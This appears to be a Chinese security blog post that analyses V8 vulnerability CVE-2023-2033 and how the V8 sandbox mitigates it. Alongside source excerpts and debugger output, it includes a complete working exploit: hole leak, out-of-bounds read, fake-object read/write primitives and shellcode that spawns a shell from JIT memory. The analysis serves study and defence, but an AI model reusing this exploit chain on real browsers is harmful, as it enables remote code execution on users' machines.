前言
这篇文章比较深入的介绍了v8漏洞CVE-2023-2033成因、原理、利用细节以及v8 sandbox对利用的缓解效用。介绍过程中会提及较多源码片段,结合源码享用风味更佳。与此同时提供了原创完整可用exp,这是笔者在其他地方没有找到的。
这是一个系列文章,本文是第六篇。前五篇:
先试为快。
编译v8
# 推荐香港服务器,可以避免网络问题导致的编译失败。
# 笔者环境ubuntu22.04
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
# 补丁前一笔提交
git checkout f7a3499f6d7
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
# 修改编译参数再编译一次,将args.gn中的v8_enable_sandbox置为false(默认为true)。为什么需要修改编译参数,后面再讲。
# vi ~/v8/out/x64.release/args.gn
# 第二次编译
gm x64.release
# test
./out/x64.release/d8 --help
POC
function doubleToTwoInts(doubleValue) {
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
view.setFloat64(0, doubleValue, true);
const intLow = view.getUint32(0, true);
const intHigh = view.getUint32(4, true);
return [intLow, intHigh];
}
function sleepSync(ms) {
const end = Date.now() + ms;
while (Date.now() < end) {
}
}
function twoIntsToDouble(intLow, intHigh) {
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
view.setUint32(0, intLow, true);
view.setUint32(4, intHigh, true);
return view.getFloat64(0, true); // true表示使用小端字节序
}
// ============================================================
var h0le = [0];
function leak_hole() {
function rGlobal() {
h0le[0] = globalThis.stack;
}
Error.captureStackTrace(globalThis);
Error.prepareStackTrace = function() {
Reflect.deleteProperty(Error, 'prepareStackTrace');
Reflect.deleteProperty(globalThis, 'stack');
Reflect.defineProperty(
globalThis, 'stack',
{configurable: false, writable: true, enumerable: true, value: 1});
stack = undefined;
for (let i = 0; i < 10000; i++) {
rGlobal();
}
sleepSync(2000);
return undefined;
};
Reflect.defineProperty(
globalThis, 'stack',
{configurable: true, writable: true, enumerable: true, value: undefined});
delete globalThis.stack;
rGlobal();
return h0le[0];
}
function leak_stuff(obj) {
let flag = true;
let index = Number(flag ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [obj];
var value1 = arr1.at(index * 4);
var value2 = arr1.at(index * 7);
return [value2, value1, arr1, arr2];
}
var map_of_double_arr = 0;
var prototype_of_double_arr = 0;
function build_fake_obj(addr) {
let flag = true;
let index = Number(flag ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [0, {}];
let arr2 = [addr, 1.1, 1.1, 1.1, 1.1];
let fake_obj = arr1.at(index*8);
return [fake_obj, arr1, arr2];
}
function addressof(obj) {
sleepSync(2000);
[value2, value1, arr1, arr2] = leak_stuff(obj);
var double_arr_info = doubleToTwoInts(value1);
var obj_addr = doubleToTwoInts(value2);
map_of_double_arr = double_arr_info[0];
prototype_of_double_arr = double_arr_info[1];
return obj_addr[0];
}
let double_objcect = [1.1, 1.1];
function get_double_objcect_of_addr(addr) {
let addr_of_arr = addressof(double_objcect);
// map, prototype
double_objcect[0] = twoIntsToDouble(map_of_double_arr, prototype_of_double_arr);
// addr, length
// elements of arr
// arr[1] = twoIntsToDouble(addr_of_arr + 0xb8, 20);
double_objcect[1] = twoIntsToDouble(addr - 8, 20);
[fake, arr1, arr2] = build_fake_obj(twoIntsToDouble(addr_of_arr + 0x1dc, 0));
return fake;
}
function read(addr) {
fake = get_double_objcect_of_addr(addr);
return doubleToTwoInts(fake[0]);
}
function write(addr, value) {
fake = get_double_objcect_of_addr(addr);
fake[0] = twoIntsToDouble(value[0], value[1]);
}
function write_shell_code(rwx_addr, shellcode) {
let shellArray = new Uint8Array(100);
shellArray.fill(1);
let shellArray_element_addr = addressof(shellArray) + 0x2c;
write(shellArray_element_addr, rwx_addr);
for (let i = 0; i < shellcode.length; i++)
shellArray[i] = shellcode[i];
}
let shellcode = new Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x73, 0x68, 0x00, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
const the = { hole: leak_hole() };
sleepSync(2000);
for (let i = 0; i < 10000; i++) {
leak_stuff(h0le);
}
addr = addressof(h0le);
for (let i = 0; i < 10000; i++) {
build_fake_obj(addr);
}
function shellcode_func() {
return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
}
for (let i = 0; i < 10000; i++) {
shellcode_func();
}
sleepSync(2000);
// pwn
addr_of_shellcode = addressof(shellcode_func);
addr_of_code_u32 = read(addr_of_shellcode + 0x18)[0];
console.log("code object: " + addr_of_code_u32.toString(16));
addr_of_rwx_double = read(addr_of_code_u32 + 0x10);
console.log("rwx: 0x" + addr_of_rwx_double[1].toString(16) + addr_of_rwx_double[0].toString(16));
write_shell_code(addr_of_rwx_double, shellcode);
shellcode_func();
执行./out/x64.release/d8 poc.js将会得到一个sh(由于并行编译,成功率80%左右),如下:
user@user:~/work/v8$ ./out/x64.release/d8 poc.js
code object: 19d4e9
rwx: 0x5d8e88b84e40
$
漏洞分析
var h0le = [0];
function leak_hole() {
function rGlobal() {
h0le[0] = globalThis.stack;
}
Error.captureStackTrace(globalThis);
Error.prepareStackTrace = function() {
Reflect.deleteProperty(Error, 'prepareStackTrace');
Reflect.deleteProperty(globalThis, 'stack');
Reflect.defineProperty( // 2 <---
globalThis, 'stack',
{configurable: false, writable: true, enumerable: true, value: 1});
stack = undefined;
for (let i = 0; i < 10000; i++) { // 3 <---
rGlobal();
}
sleepSync(2000);
return undefined;
};
Reflect.defineProperty( // 1 <---
globalThis, 'stack',
{configurable: true, writable: true, enumerable: true, value: undefined});
delete globalThis.stack; // 4 <---
rGlobal(); // 5 <---
return h0le[0];
}
const the = { hole: leak_hole() };
console.log(the.hole);
有漏洞的版本执行这段代码将得到hole,而打过补丁的版本将得到undefine。hole是什么呢?hole是一个v8实现的内部的值,不应该暴露给js。如果暴露给js,那么将会导致漏洞。更多hole的解释,参考can-anyone-explain-v8-bytecode-ldathehole。下面,将详细分析hole是如何泄露到js中的。
globalThis
什么是globalThis?完整信息可以参考MDN文档globalThis。简单的讲,它是一个对象,代表了一个集合,这个集合包含了所有的全局对象:属性、函数、变量等。申明一个全局变量obj,它也可以通过globalThis.obj来访问,两者是等价的。
Error
Error.captureStackTrace(globalThis) 这是一个非标准的JS api的调用,为globalThis对象添加stack属性。调用console.log(globalThis.stack)将会打印调用堆栈。
Error.prepareStackTrace是一个回调函数,在globalThis.stack发生修改操作的时候被调用。参考preparestacktrace
hole泄露过程
代码1处调用defineProperty对globalThis.stack属性进行修改,此时优先调用prepareStackTrace回调函数,当回调函数执行完之后继续执行defineProperty操作。
调用deleteProperty,删除回调函数,防止代码2处调用时对stack做修改时进行无限递归。
调用Reflect.deleteProperty,将stack属性从globalThis对象中移除。Error.captureStackTrace创建属性时,默认属性的configurable值为true,因此此处deleteProperty可以成功。
调用Reflect.defineProperty又重新定义stack属性,此时stack属性的configurable值被重新赋值为false,value被赋值为1.
stack = undefined; stack的value从1被定义为undefined。
代码3处重复调用rGlobal,触发jit优化,将对rGlobal函数做优化。
sleepSync(2000); 睡眠2秒钟
此时回调函数执行完毕,接着执行1处代码后续操作,将globalThis.stack的configurable设置为true。
4处代码得益于1处代码修改了configurable为true,因此可以delete成功。
4处代码delete并没有导致rGlobal解优化,此时globalThis.stack为hole,于是h0le[0]变为了hole泄露给js了。
上述过程中,看似平平无奇,实则内藏玄机。还有下面几个问题需要回答。
globalThis可以替换成其他全局对象吗?
// ./out/x64.release/d8 --print-opt-code test.js
function sleepSync(ms) {
const end = Date.now() + ms;
while (Date.now() < end) {
}
}
var h0le = [0];
var global_obj = {};
function leak_hole() {
function rGlobal() {
h0le[0] = global_obj.stack;
}
Error.captureStackTrace(global_obj);
Error.prepareStackTrace = function() {
Reflect.deleteProperty(Error, 'prepareStackTrace');
Reflect.deleteProperty(global_obj, 'stack');
Reflect.defineProperty(
global_obj, 'stack',
{configurable: false, writable: true, enumerable: true, value: 1});
stack = undefined;
for (let i = 0; i < 10000; i++) {
rGlobal();
}
sleepSync(2000);
return undefined;
};
Reflect.defineProperty(
global_obj, 'stack',
{configurable: true, writable: true, enumerable: true, value: undefined});
delete global_obj.stack;
rGlobal();
return h0le[0];
}
const the = { hole: leak_hole() };
console.log(the.hole);
答案是不能。将globalThis替换成global_obj,上述代码将打印undefined。为什么呢?我们对比查看两份代码rGlobal的jit汇编。
左右两边分别对应globalThis及global_obj。
globalThis.stack jit优化之后,变成了对PropertyCell的直接访问,PropertyCell对应属性的值,直接就是stack的值。
global_obj.stack jit优化之后,变成了LoadICTrampoline函数调用,这个函数的作用是对global_obj对象,进行stack属性索引。
这两者的差别将导致4处代码delete globalThis.stack执行之后,一个返回hole,另外一个返回undefined
globalThis和global_obj,两者都是全局对象,为什么导致了jit优化代码的不同呢?经过一番调试了,找到了原因。
// src/compiler/js-native-context-specialization.cc:1499:
Reduction JSNativeContextSpecialization::ReduceNamedAccess(...) {
// ...
// Check if we have an access o.x or o.x=v where o is the target native
// contexts' global proxy, and turn that into a direct access to the
// corresponding global object instead.
if (inferred_maps.size() == 1) {
MapRef lookup_start_object_map = inferred_maps[0];
if (lookup_start_object_map.equals(
native_context().global_proxy_object(broker()).map(broker()))) { //
if (!native_context().GlobalIsDetached(broker())) {
OptionalPropertyCellRef cell =
native_context().global_object(broker()).GetPropertyCell(
broker(), feedback.name());
if (!cell.has_value()) return NoChange();
// Note: The map check generated by ReduceGlobalAccesses ensures that we
// will deopt when/if GlobalIsDetached becomes true.
return ReduceGlobalAccess(node, lookup_start_object, receiver, value,
feedback.name(), access_mode, key, *cell,
effect);
}
}
}
// ...
}
ReduceNamedAccess 函数调用发生在jit编译的InliningPhase阶段(关于更多jit知识,可以查看前面几篇系列文章,或者其他公开文档)。参考注释可知,节选出来的代码做了一个优化,对于xxx.stack这样的属性访问,如果xxx是一个global proxy,即globalThis,那么globalThis.stack访问将被转换为对stack全局变量的直接访问。而global_obj.stack进不了这个分支,将进入到其他分支,被优化成对LoadICTrampoline函数的调用。
2处代码的作用是什么?
Reflect.defineProperty( // 2 <---
globalThis, 'stack',
{configurable: false, writable: true, enumerable: true, value: 1});
stack = undefined;
这两行代码产生了下面的效用:
给globalThis对象增加了stack属性
stack属性的configurable值为false
stack属性的value为1
将stack赋值为undefined,由于undefined(NULL)和1(SMI)属于不相同的类型,于是stack的cell_type为PropertyCellType::kMutable。(关于这部分知识,参考CVE-2021-30632关于PropertyCellType的介绍)
总结一下,给globalThis对象增加stack属性,同时stack的configurable为false,且value类型为kMutable。这都是为了通过上面调用的ReduceGlobalAccess函数的检查,见下面代码:
// src/compiler/js-native-context-specialization.cc:1081:
Reduction JSNativeContextSpecialization::ReduceGlobalAccess(...) {
// ...
if (property_details.cell_type() != PropertyCellType::kMutable ||
property_details.IsConfigurable()) {
dependencies()->DependOnGlobalProperty(property_cell);
}
// ...
}
满足“stack的configurable为false,且value类型为kMutable”这两个条件才不会进入到dependencies()->DependOnGlobalProperty的调用,而这个函数的作用是,当stack的值发生变化时,将对当前函数进行解优化。回顾前面的代码:
delete globalThis.stack; // 4 <--- 删除stack属性,stack属性被置为hole,如果调用DependOnGlobalProperty,那么rGlobal函数将执行解优化。
rGlobal(); // 5 <--- 如果发生解优化,将按照正常的逻辑,将hole转换为undefined返回给js
return h0le[0];
至此,我们可以回答这个问题了。2处代码的作用就是给stack设置一个合适的值,使得DependOnGlobalProperty函数不被调用,从而在delete globalThis.stack执行的时候不对rGlobal函数做解优化(deopt)。 通过给d8传递参数--trace-deopt可以观察到解优化的日志,可以自行修改configurable为true进行观察。
1处代码执行时stack的configurable已经被回调置为false,为何configurable还能被修改为true?
var obj = {};
Reflect.defineProperty(
obj, 'abc',
{configurable: false, writable: true, enumerable: true, value: 1});
delete obj.abc;
Reflect.defineProperty(
obj, 'abc',
{configurable: true, writable: true, enumerable: true, value: 1});
如上代码,delete obj.abc和第二次Reflect.defineProperty调用都会失败。因为configurable已经被置为false了。
那么为什么1处代码在configurable已经为false的情况下,对configurable置为true仍然可以成功呢?
// lldb ./out/x64.debug/d8
// r --allow-natives-syntax test.js
function sleepSync(ms) {
const end = Date.now() + ms;
while (Date.now() < end) {
}
}
var h0le = [0];
function leak_hole() {
function rGlobal() {
h0le[0] = globalThis.stack;
}
Error.captureStackTrace(globalThis);
Error.prepareStackTrace = function() {
// 将在v8中产生断点
%SystemBreak();
Reflect.deleteProperty(Error, 'prepareStackTrace');
Reflect.deleteProperty(globalThis, 'stack');
Reflect.defineProperty(
globalThis, 'stack',
{configurable: false, writable: true, enumerable: true, value: 1});
stack = undefined;
for (let i = 0; i < 10000; i++) {
rGlobal();
}
sleepSync(2000);
return undefined;
};
Reflect.defineProperty(
globalThis, 'stack',
{configurable: true, writable: true, enumerable: true, value: undefined});
delete globalThis.stack;
rGlobal();
return h0le[0];
}
const the = { hole: leak_hole() };
console.log(the.hole);
通过lldb调试d8,得到下面的调用堆栈:
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BREAKPOINT (code=EXC_I386_BPT, subcode=0x0)
* frame #0: 0x0000000100987365 libv8_libbase.dylib`v8::base::OS::DebugBreak() at platform-posix.cc:719:1
frame #1: 0x000000010d8e3d0b libv8.dylib`v8::internal::__RT_impl_Runtime_SystemBreak(args=v8::internal::RuntimeArguments @ 0x00007ff7bfefbb90, isolate=0x00007fd211622000) at runtime-test.cc:1245:3
frame #2: 0x000000010d8e3959 libv8.dylib`v8::internal::Runtime_SystemBreak(args_length=0, args_object=0x00007ff7bfefbce0, isolate=0x00007fd211622000) at runtime-test.cc:1240:1
frame #3: 0x000000010bcbc7f8 libv8.dylib`Builtins_CEntry_Return1_ArgvInRegister_NoBuiltinExit + 56
frame #4: 0x000000010c155cff libv8.dylib`Builtins_CallRuntimeHandler + 511
frame #5: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264
frame #6: 0x000000010b8e9bdc libv8.dylib`Builtins_JSEntryTrampoline + 92
frame #7: 0x000000010b8e9907 libv8.dylib`Builtins_JSEntry + 135
frame #8: 0x000000010c980486 libv8.dylib`v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(this=0x00007ff7bfefc020, args=140540211503232, args=38976828211793, args=38976829108977, args=38976829024833, args=3, args=0x00007fd20ff069e0) at simulator.h:154:12
frame #9: 0x000000010c97d012 libv8.dylib`v8::internal::(anonymous namespace)::Invoke(isolate=0x00007fd211622000, params=0x00007ff7bfefc288) at execution.cc:427:33
frame #10: 0x000000010c97be3f libv8.dylib`v8::internal::Execution::Call(isolate=0x00007fd211622000, callable=Handle<v8::internal::Object> @ 0x00007ff7bfefc280, receiver=Handle<v8::internal::Object> @ 0x00007ff7bfefc278, argc=2, argv=0x00007fd20ff069e0) at execution.cc:529:10
frame #11: 0x000000010ca2e939 libv8.dylib`v8::internal::ErrorUtils::FormatStackTrace(isolate=0x00007fd211622000, error=Handle<v8::internal::JSObject> @ 0x00007ff7bfefc578, raw_stack=Handle<v8::internal::Object> @ 0x00007ff7bfefc570) at messages.cc:360:9
frame #12: 0x000000010ca360da libv8.dylib`v8::internal::ErrorUtils::GetFormattedStack(isolate=0x00007fd211622000, error_object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefc758) at messages.cc:1031:5
frame #13: 0x000000010c4ecbff libv8.dylib`v8::internal::Accessors::ErrorStackGetter(key=Local<v8::Name> @ 0x00007ff7bfefc7b0, info=0x00007ff7bfefc880) at accessors.cc:859:8
frame #14: 0x000000010d4abda5 libv8.dylib`v8::internal::PropertyCallbackArguments::CallAccessorGetter(this=0x00007ff7bfefcb90, info=Handle<v8::internal::AccessorInfo> @ 0x00007ff7bfefc8c8, name=Handle<v8::internal::Name> @ 0x00007ff7bfefc8c0) at api-arguments-inl.h:315:3
frame #15: 0x000000010d4a9b2f libv8.dylib`v8::internal::Object::GetPropertyWithAccessor(it=0x00007ff7bfefd070) at objects.cc:1460:34
frame #16: 0x000000010d4a84c9 libv8.dylib`v8::internal::Object::GetProperty(it=0x00007ff7bfefd070, is_global_reference=false) at objects.cc:1182:16
frame #17: 0x000000010d302965 libv8.dylib`v8::internal::JSReceiver::GetOwnPropertyDescriptor(it=0x00007ff7bfefd070, desc=0x00007ff7bfefcfb0) at js-objects.cc:1929:10
frame #18: 0x000000010d30240f libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(it=0x00007ff7bfefd070, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1434:3
frame #19: 0x000000010d30235a libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefd0d0, key=0x00007ff7bfefd130, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1232:10
frame #20: 0x000000010d302157 libv8.dylib`v8::internal::JSReceiver::OrdinaryDefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSObject> @ 0x00007ff7bfefd160, key=Handle<v8::internal::Object> @ 0x00007ff7bfefd158, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1213:10
frame #21: 0x000000010d3014dc libv8.dylib`v8::internal::JSReceiver::DefineOwnProperty(isolate=0x00007fd211622000, object=Handle<v8::internal::JSReceiver> @ 0x00007ff7bfefd320, key=Handle<v8::internal::Object> @ 0x00007ff7bfefd318, desc=0x00007ff7bfefd418, should_throw=(has_value_ = true, value_ = kDontThrow)) at js-objects.cc:1203:10
frame #22: 0x000000010c5b7ee1 libv8.dylib`v8::internal::Builtin_Impl_ReflectDefineProperty(args=BuiltinArguments @ 0x00007ff7bfefd4d0, isolate=0x00007fd211622000) at builtins-reflect.cc:43:24
frame #23: 0x000000010c5b7754 libv8.dylib`v8::internal::Builtin_ReflectDefineProperty(args_length=8, args_object=0x00007ff7bfefd5f0, isolate=0x00007fd211622000) at builtins-reflect.cc:20:1
frame #24: 0x000000010bcbc8fd libv8.dylib`Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit + 61
frame #25: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264
frame #26: 0x000000010b8f1bc8 libv8.dylib`Builtins_InterpreterEntryTrampoline + 264
frame #27: 0x000000010b8e9bdc libv8.dylib`Builtins_JSEntryTrampoline + 92
frame #28: 0x000000010b8e9907 libv8.dylib`Builtins_JSEntry + 135
frame #29: 0x000000010c980486 libv8.dylib`v8::internal::GeneratedCode<unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**>::Call(this=0x00007ff7bfefd9b0, args=140540211503232, args=38976828211793, args=38976829108033, args=38976829012981, args=1, args=0x0000000000000000) at simulator.h:154:12
frame #30: 0x000000010c97d012 libv8.dylib`v8::internal::(anonymous namespace)::Invoke(isolate=0x00007fd211622000, params=0x00007ff7bfefdc28) at execution.cc:427:33
frame #31: 0x000000010c97d780 libv8.dylib`v8::internal::Execution::CallScript(isolate=0x00007fd211622000, script_function=Handle<v8::internal::JSFunction> @ 0x00007ff7bfefdc20, receiver=Handle<v8::internal::Object> @ 0x00007ff7bfefdc18, host_defined_options=Handle<v8::internal::Object> @ 0x00007ff7bfefdc10) at execution.cc:540:10
frame #32: 0x000000010c330ad7 libv8.dylib`v8::Script::Run(this=0x00007fd21180d398, context=Local<v8::Context> @ 0x00007ff7bfefddf0, host_defined_options=Local<v8::Data> @ 0x00007ff7bfefdce8) at api.cc:2301:7
frame #33: 0x000000010c3305e8 libv8.dylib`v8::Script::Run(this=0x00007fd21180d398, context=Local<v8::Context> @ 0x00007ff7bfefdec0) at api.cc:2264:10
frame #34: 0x0000000100047e5a d8`v8::Shell::ExecuteString(isolate=0x00007fd211622000, source=Local<v8::String> @ 0x00007ff7bfefe1f8, name=Local<v8::String> @ 0x00007ff7bfefe1f0, print_result=kNoPrintResult, report_exceptions=kReportExceptions, process_message_queue=kProcessMessageQueue) at d8.cc:896:28
frame #35: 0x0000000100069379 d8`v8::SourceGroup::Execute(this=0x00007fd210a04088, isolate=0x00007fd211622000) at d8.cc:4380:10
frame #36: 0x000000010006e504 d8`v8::Shell::RunMainIsolate(isolate=0x00007fd211622000, keep_context_alive=false) at d8.cc:5183:37
frame #37: 0x000000010006df1a d8`v8::Shell::RunMain(isolate=0x00007fd211622000, last_run=true) at d8.cc:5103:18
frame #38: 0x0000000100070da2 d8`v8::Shell::Main(argc=3, argv=0x00007ff7bfeff0f8) at d8.cc:5955:18
frame #39: 0x0000000100071682 d8`main(argc=3, argv=0x00007ff7bfeff0f8) at d8.cc:6047:43
frame #40: 0x00007ff8100b4366 dyld`start + 1942
// js-objects.cc
Maybe<bool> JSReceiver::GetOwnPropertyDescriptor(LookupIterator* it,
PropertyDescriptor* desc) {
// ...
Maybe<bool> intercepted = GetPropertyDescriptorWithInterceptor(it, desc);
// ...
if (!Object::GetProperty(it).ToHandle(&value)) {
// ...
}
// ...
}
GetPropertyDescriptorWithInterceptor函数获取了当前stack属性,存放在desc中。
Object::GetProperty(it).ToHandle 函数调用将触发Error.prepareStackTrace回调。
也就是说执行回调前,v8已经将先前的stack属性缓存在desc变量中了。
// js-objects.cc
Maybe<bool> JSReceiver::OrdinaryDefineOwnProperty() {
// ...
PropertyDescriptor current;
MAYBE_RETURN(GetOwnPropertyDescriptor(it, &current), Nothing<bool>());
// ...
return ValidateAndApplyPropertyDescriptor(
isolate, it, extensible, desc, &current, should_throw, Handle<Name>());
// ...
}
Maybe<bool> JSReceiver::ValidateAndApplyPropertyDescriptor() {
// ...
if (!current->configurable()) {
if (desc->has_configurable() && desc->configurable()) {
// RETURN_FAILURE
}
}
// ...
}
GetOwnPropertyDescriptor 获取先前的stack属性,存入current变量,并且调用Error.prepareStackTrace注册的回调
ValidateAndApplyPropertyDescriptor通过current做configurable是否为true的判断,从而决定configurable是否可以修改
总结一下:
Error.captureStackTrace定义了stack,此时stack默认configurable为true。
调用Reflect.defineProperty 意图修改configurable为true。下面将Reflect.defineProperty的内部动作进一步拆解。
此时优先获取configurable的值,并且缓存进current变量。
然后执行回调Error.prepareStackTrace,将configurable修改为false(目的是为了优化代码不被解优化)。
根据current变量进行判断,current变量中configurable为true,因此可以做任意修改。
最后Reflect.defineProperty将configurable从false修改为true。
sleepSync(2000)的作用是什么,可以不要或者睡眠其他时间吗?
在d8的release编译模式下,jit编译是同步进行的。rGlobal循环1万次,在某次(比如6000)执行之后,v8会开启一个新的线程对rGlobal函数进行编译,编译成功之后通知主线程,下一次执行就直接执行编译之后的代码。这个时机可能是9000次,也有可能到程序结束也得不到执行。因此这里睡眠2秒钟或者更长时间,等待编译结束。保证下一次执行的时候,是执行的jit代码。
POC详解
POC介绍一下跟此漏洞相关的地方。剩余的部分跟对象内存布局相关,可以通过%DebugPrint(需要附加d8参数--allow-native-syntax)查看内存布局进行调整各个魔数。
function leak_stuff(obj) {
let flag = true;
let index = Number(flag ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [obj];
var value1 = arr1.at(index * 4);
var value2 = arr1.at(index * 7);
return [value2, value1, arr1, arr2];
}
the.hole的值是hole
flag ? the.hole : -1 在优化时将产生了一个phi(hole|-1),优化器推测它的取值范围是[-1,-1]。关于phi是优化器的一个概念,它可以姑且被认为是"或"。hole | -1,因为hole是漏洞,不应该出现在phi的值里面,优化器不能正确处理,于是将phi(hole|-1)认为取值范围是[-1,-1]。
在经过index |= 0,index += 1运算之后,取值范围变为了[0,0]
index * 4, index * 7,它们的取值范围都将为[0,0]
由于优化器认为计算结果只能为0,不会产生数组访问越界,因此在arr1.at对数组进行访问时,取消了前置的check节点,不再进行检查。
这些信息可以通过给d8添加参数--trace-representation得到,如下:
#53:SpeculativeNumberBitwiseOr[Number](#48:JSToNumberConvertBigInt, #52:NumberConstant, #50:Checkpoint, #48:JSToNumberConvertBigInt) [Static type: Range(-1, -1)]
#55:SpeculativeSafeIntegerAdd[SignedSmall](#53:SpeculativeNumberBitwiseOr, #54:NumberConstant, #53:SpeculativeNumberBitwiseOr, #48:JSToNumberConvertBigInt) [Static type: Range(0, 0)]
#77:SpeculativeNumberMultiply[SignedSmall](#55:SpeculativeSafeIntegerAdd, #76:NumberConstant, #68:Checkpoint, #48:JSToNumberConvertBigInt) [Static type: Range(0, 0)]
以上是优化器的逻辑,实际执行的时候flag ? the.hole : -1,由于flag为true,于是Number(flag ? the.hole : -1)等于Number(hole),它的值是NaN。
NaN | 0 = 0
0 + 1 = 1
index * 4, index * 7将等于4,7。此时对arr1进行访问将造成越界读。
index * 7 里面存放的是obj对象的地址。
index * 4 里面存放的是double arr 的map(4个字节)以及prototype(4个字节)的结构,这两个值用于后面构造一个fake double arr用。
function shellcode_func() {
return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
}
for (let i = 0; i < 10000; i++) {
shellcode_func();
}
//
addr_of_shellcode = addressof(shellcode_func);
addr_of_code_u32 = read(addr_of_shellcode + 0x18)[0];
console.log("code object: " + addr_of_code_u32.toString(16));
addr_of_rwx_double = read(addr_of_code_u32 + 0x10);
console.log("rwx: 0x" + addr_of_rwx_double[1].toString(16) + addr_of_rwx_double[0].toString(16));
write_shell_code(addr_of_rwx_double, shellcode);
shellcode_func();
循环1万次将jit优化shellcode_func,会创建一块rwx的内存,并写上jit优化之后的汇编代码
addressof 函数获取shellcode_func对象地址
shellcode_func对象偏移0x18的地方存放code对象的地址
code对象偏移0x10的地方存放rwx的地址
write_shell_code将shellcode写入rwx
执行修改之后的shellcode_func
v8 sandbox
还记得前面提到过,需要在编译v8的时候修改编译选项,将args.gn中的v8_enable_sandbox置为false(默认为true)。它的作用是什么呢?当它为true的时候,将开启v8 sandbox,否则关闭。参考v8 sandbox。简单来讲,它的作用是创建一个沙箱,即使出现了漏洞,也不能直接执行代码,而需要再穿越这个沙箱才行。如果打开这个开关,我们的POC还会执行成功吗?答案是不能。区别在于:
function write_shell_code(rwx_addr, shellcode) {
let shellArray = new Uint8Array(100);
shellArray.fill(1);
let shellArray_element_addr = addressof(shellArray) + 0x2c;
write(shellArray_element_addr, rwx_addr);
for (let i = 0; i < shellcode.length; i++)
shellArray[i] = shellcode[i];
}
这段代码中,通过addressof(shellArray) + 0x2c存放的是Uint8Array对象数组的指针,它是一个full pointer,将它修改为rwx内存的地址,Uint8Array就指向了rwx,对Uint8Array数组访问,就可以直接修改rwx内容了。当v8_enable_sandbox 为true时。addressof(shellArray) + 0x2c存放的是v8 heap addr。这是一个压缩指针,中间记录的是偏移。addr + base << 32才能得到真正的地址,base存放在寄存器中。由于base存放在寄存中,无法泄露,也无法修改,因此无法构造一个合理的跳板来写rwx,进一步让漏洞无法利用。这是v8 sandbox想要达到的效果。也就是说,以后要实现一个完成的漏洞利用链,除了v8的漏洞外,还需要额外找到一个v8 sandbox的漏洞才行。用%DebugPrint查看不同开关下面Uint8Array的结构。
# disable v8 sandbox
# v8_enable_sandbox = false
# ./d8 --allow-natives-syntax test.js
# var obj = new Uint8Array(100);
# %DebugPrint(obj);
DebugPrint: 0x287d0004c645: [JSTypedArray]
...
- data_ptr: 0x7fb90870c630
- base_pointer: 0x0
- external_pointer: 0x7fb90870c630
关闭sandbox,external_pointer为一个完整的指针。addressof(shellArray) + 0x2c存的值是0x7fb90870c630。替换为rwx的值即可读写rwx里面的内容。
# enable v8 sandbox
# v8_enable_sandbox = true
# ./d8 --allow-natives-syntax test.js
# var obj = new Uint8Array(100);
# %DebugPrint(obj);
DebugPrint: 0x76d001cc639: [JSTypedArray]
...
- data_ptr: 0x76e00000000
- base_pointer: 0x0
- external_pointer: 0x76e00000000
开启sandbox,0x76e00000000为v8 sandbox addr,addressof(shellArray) + 0x2c存的值是0x100000000,寄存器里面存放的是0x76d,两者相加得到0x76e00000000。
作者: coolboy
参考
Critical Zero-Day Chrome Vulnerability Discovered in V8 Engine's JIT (CVE-2023-2033)